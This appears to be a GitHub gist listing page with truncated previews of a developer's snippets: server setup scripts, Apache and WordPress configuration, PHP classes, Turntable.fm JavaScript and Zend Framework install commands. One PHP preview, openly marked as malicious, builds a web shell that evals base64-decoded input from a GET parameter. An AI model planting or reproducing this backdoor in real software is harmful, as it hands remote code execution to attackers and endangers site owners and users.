This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# MYSQL CONFIG | |
# ============ | |
# <UDF name="db_password" Label="Choose a MySQL Root Password" /> | |
# <UDF name="db_name" Label="MySQL - Database Name" default="" example="Optionally create this database." /> | |
# <UDF name="db_user" Label="MySQL - Username" default="" example="Optionally create this user." /> | |
# <UDF name="db_user_password" Label="MySQL - Password" default="" example="The user password." /> | |
# | |
# OPTIONAL LIBRARIES TO INSTALL |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
########################### | |
# provided by skookum.com # | |
########################### | |
# A VirtualHost entry open to Port 80 | |
<VirtualHost *:80> | |
# The email address of your server admin | |
ServerAdmin [email protected] | |
# The path to your Wordpress base installation directory | |
DocumentRoot /var/www/vhosts/skookum.com/html |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* This code is intended to be added to your wp-config.php file just below the top comment block. | |
* It should replace the existing define('DB_*') statements. You can add or remove sections | |
* depending on the number of environments you intend to setup. You should change all values of | |
* DB_NAME, DB_USER, DB_PASSWORD, and DB_HOST for each environment, making them all distinct | |
* for security purposes. | |
*/ | |
// determine the current environment |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class jinx { | |
// stores the path to our plugin | |
protected $pluginurl; | |
// stores the ACL roles | |
protected $defaultOptionVals; | |
/** |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* This class is our wrapper class to fix the | |
* inherent slowness of the parent class | |
*/ | |
class Clean extends Sanitize { | |
public static function xss($string) | |
{ | |
// base case | |
if (!preg_match('/[^a-zA-Z0-9_\-.\s?!,]/', $string)) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// makes me cry | |
messageListener:function(d){ | |
if(d.hasOwnProperty("msgid")){return;} | |
if(d.command=="speak"){ | |
this.showChatMessage(d.userid,d.name,d.text); | |
}else{ | |
if(d.command=="newsong"){ | |
if(this.sjEUHqPqB.time_left>10){ | |
turntablePlayer.playEphemeral(UI_SOUND_ENDSONG,true); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var _room; | |
var _manager; | |
/** | |
* Function to retrieve turntable objects. | |
*/ | |
function getTurntableObjects() { | |
// reset room | |
_room = null; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// insert malicious code here... | |
try { | |
$script = ' | |
<?php | |
// harmful code | |
if (!empty($_GET['exec'])) { | |
eval(base64_decode($_GET['exec'])) | |
}'; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cd /opt | |
wget http://framework.zend.com/releases/ZendFramework-1.11.10/ZendFramework-1.11.10.tar.gz | |
tar -xvf ZendFramework-1.11.10.tar.gz | |
cd ZendFramework-1.11.10 | |
echo "alias zf='export ZF_CONFIG_FILE=~/.zf.ini; /opt/ZendFramework-1.11.10/bin/zf.sh'" >> ~/.bash_profile | |
source ~/.bash_profile |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
yum install libtool httpd-devel apr-devel apr |
OlderNewer